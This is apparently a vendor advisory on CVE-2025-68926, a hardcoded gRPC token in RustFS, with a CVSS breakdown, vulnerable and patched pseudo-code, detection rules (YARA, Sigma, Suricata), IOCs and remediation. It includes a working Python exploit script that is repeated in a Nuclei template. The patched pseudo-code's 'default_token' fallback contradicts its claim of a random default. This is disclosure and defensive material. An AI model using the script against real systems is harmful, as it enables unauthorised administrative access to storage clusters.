CVE-2025-68926
Executive Summary
CVE-2025-68926 is a critical vulnerability in RustFS, a distributed object storage system written in Rust. The flaw stems from a hardcoded gRPC authentication token ("rustfs rpc") that is publicly exposed in the source code repository. This token is non-configurable, cannot be rotated without recompiling, and is universally valid across all RustFS deployments. An attacker with network access to the gRPC port can authenticate using this publicly known token and execute privileged operations, including data destruction, policy manipulation, and cluster configuration changes. The vulnerability has a CVSS score of 9.8 (Critical) and is trivial to exploit. A public Nuclei template is available, and proof-of-concept code exists.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
RustFS is a Rust-based distributed storage system. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the source code of the RustFS project itself. The hardcoded token is embedded in the source code, meaning any deployment built from the vulnerable source code is affected. There is no supply chain attack vector via package managers, but the risk is high for any organization using RustFS directly from source or pre-compiled binaries.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity: Low (AC:L) – No special conditions or complex attack sequences are required.
- Privileges Required: None (PR:N) – No authentication is needed to exploit the vulnerability.
- User Interaction: None (UI:N) – No user action is required.
- Scope: Unchanged (S:U) – The vulnerability does not affect resources beyond the vulnerable component.
- Confidentiality Impact: High (C:H) – An attacker can read all stored data.
- Integrity Impact: High (I:H) – An attacker can modify or delete all stored data.
- Availability Impact: High (A:H) – An attacker can disrupt the service or destroy data.
Threat Level: Critical. The vulnerability is trivial to exploit, has a public PoC, and allows full administrative access to the storage system.
Deep Dive & Mechanics
RustFS uses gRPC for inter-service communication. The authentication mechanism relies on a static token that is hardcoded in the source code. The token "rustfs rpc" is used on both the client and server sides. The server validates incoming gRPC requests by checking if the authorization header matches this hardcoded token. Since the token is publicly known (it is in the source code repository), any attacker who can reach the gRPC port can authenticate as an administrator.
The gRPC API exposes several privileged methods, including:
NodeService/ServerInfo– Retrieves server information.NodeService/DeleteData– Deletes stored objects.NodeService/SetPolicy– Modifies access policies.NodeService/ClusterConfig– Changes cluster configuration.
An attacker can craft a gRPC request with the authorization: rustfs rpc header and execute any of these methods. The vulnerability is present in all versions prior to 1.0.0-alpha.77.
Vulnerable vs. Patched Code
Vulnerable Code (pre-1.0.0-alpha.77): The token is hardcoded in the authentication middleware. Example (pseudo-code):
fn authenticate(request: &Request) -> Result<(), Error> {
let token = request.headers().get("authorization");
if token != Some("rustfs rpc") {
return Err(Error::Unauthorized);
}
Ok(())
}
Patched Code (1.0.0-alpha.77+): The token is configurable via environment variable or configuration file. Example (pseudo-code):
fn authenticate(request: &Request) -> Result<(), Error> {
let expected_token = std::env::var("RUSTFS_GRPC_TOKEN").unwrap_or("default_token");
let token = request.headers().get("authorization");
if token != Some(&expected_token) {
return Err(Error::Unauthorized);
}
Ok(())
}
The patch removes the hardcoded token and allows administrators to set a custom token. The default token is also changed to a random value.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A target RustFS instance with the gRPC port exposed (default: 50051).
- Python 3 with the
h2library installed (pip install h2).
Exploitation Steps:
- Identify the target IP and port.
- Use the provided Nuclei template or the following Python script to exploit the vulnerability.
Python Exploit Script:
import socket, os, re
from h2.connection import H2Connection
from h2.config import H2Configuration
from h2.events import DataReceived, TrailersReceived, StreamEnded
host = "TARGET_IP"
port = 50051
sock = socket.create_connection((host, port), timeout=10)
sock.settimeout(5)
conn = H2Connection(H2Configuration(client_side=True))
conn.initiate_connection()
sock.sendall(conn.data_to_send())
sid = conn.get_next_available_stream_id()
hdrs = [(':method','POST'),(':scheme','http'),(':authority',f'{host}:{port}'),
(':path','/node_service.NodeService/ServerInfo'),
('content-type','application/grpc'),('authorization','rustfs rpc'),('te','trailers')]
conn.send_headers(sid, hdrs, end_stream=False)
conn.send_data(sid, b'\x00\x00\x00\x00\x00', end_stream=True)
sock.sendall(conn.data_to_send())
body, status = b'', None
while True:
data = sock.recv(65535)
if not data: break
for e in conn.receive_data(data):
if isinstance(e, DataReceived):
body += e.data
conn.acknowledge_received_data(e.flow_controlled_length, e.stream_id)
elif isinstance(e, TrailersReceived):
status = dict(e.headers).get(b'grpc-status', b'').decode()
elif isinstance(e, StreamEnded): break
else: sock.sendall(conn.data_to_send()); continue
break
sock.close()
if status == '0' and len(body) > 5:
m = re.search(rb'(\d+\.\d+\.\d+-alpha\.\d+)', body)
print(m.group(1).decode() if m else 'grpc-auth-bypass')
Expected Output: The script will print the version string (e.g., 1.0.0-alpha.76) or grpc-auth-bypass if successful.
Blue Team
Detection:
- Monitor gRPC traffic for the
authorization: rustfs rpcheader. - Look for unusual gRPC requests to privileged endpoints (e.g.,
DeleteData,SetPolicy,ClusterConfig). - Use the YARA and Sigma rules provided in the Detection Engineering section.
Hunting:
- Search for logs containing the string
rustfs rpcin the authorization header. - Check for any gRPC requests that do not originate from known internal IPs.
Lab Setup:
- Deploy a vulnerable RustFS instance (version < 1.0.0-alpha.77) in an isolated environment.
- Expose the gRPC port (50051) to the lab network.
- Run the exploit script to verify the vulnerability.
- Apply the patch by upgrading to version 1.0.0-alpha.77 or later.
Indicators of Compromise (IOCs)
Network IOCs:
- gRPC requests with
authorization: rustfs rpcheader. - Connections to port 50051 (default gRPC port) from unexpected sources.
- Unusual gRPC method calls (e.g.,
DeleteData,SetPolicy,ClusterConfig).
- gRPC requests with
File IOCs:
- Presence of the hardcoded token in source code or configuration files.
- Log entries containing the string
rustfs rpc.
Behavioral IOCs:
- Unauthorized data deletion or modification.
- Changes to cluster configuration without proper authentication.
- Policy changes that grant excessive permissions.
Detection Engineering
YARA Rule
rule CVE_2025_68926_RustFS_Hardcoded_Token {
meta:
description = "Detects hardcoded gRPC authentication token in RustFS source code"
author = "Valters IT"
date = "2025-04-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-68926"
severity = "critical"
strings:
$token = "rustfs rpc"
condition:
$token
}
Sigma Rule
title: RustFS Hardcoded gRPC Token Usage
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects gRPC requests using the hardcoded authentication token "rustfs rpc"
author: Valters IT
date: 2025-04-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-68926
logsource:
category: network
product: gRPC
detection:
selection:
header.authorization: "rustfs rpc"
condition: selection
falsepositives:
- Legitimate use if token is not changed (unlikely)
level: critical
Suricata Rule
alert tcp any any -> any 50051 (msg:"CVE-2025-68926 RustFS Hardcoded gRPC Token"; flow:to_server; content:"authorization"; nocase; content:"rustfs rpc"; nocase; distance:0; sid:1000001; rev:1;)
Nuclei Template (Provided)
id: CVE-2025-68926
info:
name: RustFS < 1.0.0-alpha.77 - Hardcoded gRPC Authentication Token
author: Chocapikk,bilisheep
severity: critical
description: |
RustFS before 1.0.0-alpha.77 used a hardcoded gRPC authentication token "rustfs rpc" that could not be changed without recompiling and this allowed unauthenticated remote attackers to gain full administrative access to the gRPC API.
impact: |
Full administrative access to RustFS including reading, writing, and deleting all stored data.
remediation: |
Upgrade to RustFS 1.0.0-alpha.77 or later.
reference:
- https://github.com/rustfs/rustfs/security/advisories/GHSA-h956-rh7x-ppgj
- https://nvd.nist.gov/vuln/detail/CVE-2025-68926
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-68926
epss-score: 0.10607
epss-percentile: 0.93315
cwe-id: CWE-798
metadata:
verified: true
max-request: 1
vendor: rustfs
product: rustfs
tags: cve,cve2025,rustfs,grpc,auth-bypass,code
variables:
HOST: "{{Host}}"
PORT: "{{Port}}"
code:
- engine:
- py
- python3
source: |
import socket, os, re
from h2.connection import H2Connection
from h2.config import H2Configuration
from h2.events import DataReceived, TrailersReceived, StreamEnded
host, port = os.getenv('HOST'), int(os.getenv('PORT'))
sock = socket.create_connection((host, port), timeout=10)
sock.settimeout(5)
conn = H2Connection(H2Configuration(client_side=True))
conn.initiate_connection()
sock.sendall(conn.data_to_send())
sid = conn.get_next_available_stream_id()
hdrs = [(':method','POST'),(':scheme','http'),(':authority',f'{host}:{port}'),
(':path','/node_service.NodeService/ServerInfo'),
('content-type','application/grpc'),('authorization','rustfs rpc'),('te','trailers')]
conn.send_headers(sid, hdrs, end_stream=False)
conn.send_data(sid, b'\x00\x00\x00\x00\x00', end_stream=True)
sock.sendall(conn.data_to_send())
body, status = b'', None
while True:
data = sock.recv(65535)
if not data: break
for e in conn.receive_data(data):
if isinstance(e, DataReceived):
body += e.data
conn.acknowledge_received_data(e.flow_controlled_length, e.stream_id)
elif isinstance(e, TrailersReceived):
status = dict(e.headers).get(b'grpc-status', b'').decode()
elif isinstance(e, StreamEnded): break
else: sock.sendall(conn.data_to_send()); continue
break
sock.close()
if status == '0' and len(body) > 5:
m = re.search(rb'(\d+\.\d+\.\d+-alpha\.\d+)', body)
print(m.group(1).decode() if m else 'grpc-auth-bypass')
matchers:
- type: dsl
dsl:
- 'contains(response, "alpha") || contains(response, "grpc-auth-bypass")'
extractors:
- type: regex
name: version
regex:
- "(\\d+\\.\\d+\\.\\d+-alpha\\.\\d+|grpc-auth-bypass)"
# digest: 4a0a00473045022015cbdaff0a72de87b3a5238a9133b95eac29d3445d27d1deb3b696b71739d4540221009846fa120f8cff6e1279f73606d6598fa0047298a7f9f01f29663ac5a6795925:2592222ea8b5b5922b8de61fd7ebe9f8
Remediation & Mitigation
Immediate Actions:
- Upgrade: Upgrade RustFS to version 1.0.0-alpha.77 or later. This is the only complete fix.
- Network Segmentation: Restrict network access to the gRPC port (50051) to trusted IPs only.
- Firewall Rules: Block inbound connections to port 50051 from untrusted networks.
- Monitor: Enable logging for all gRPC requests and monitor for the hardcoded token.
Long-Term Mitigations:
- Configuration Management: Ensure that the gRPC token is configurable and rotated regularly.
- Code Review: Implement a policy to avoid hardcoded secrets in source code.
- Secrets Management: Use a secrets management solution (e.g., HashiCorp Vault) to store and rotate tokens.
- Vulnerability Scanning: Regularly scan for known vulnerabilities in dependencies and custom code.
Workarounds (if upgrade is not possible):
- Use a reverse proxy (e.g., Nginx) to add an additional authentication layer before the gRPC endpoint.
- Implement network-level access controls (e.g., VPN, IP whitelisting).
Valters IT
Securing Digital Frontiers
{/* [Security Hash: 435A94B085235EE56FC8106C] */}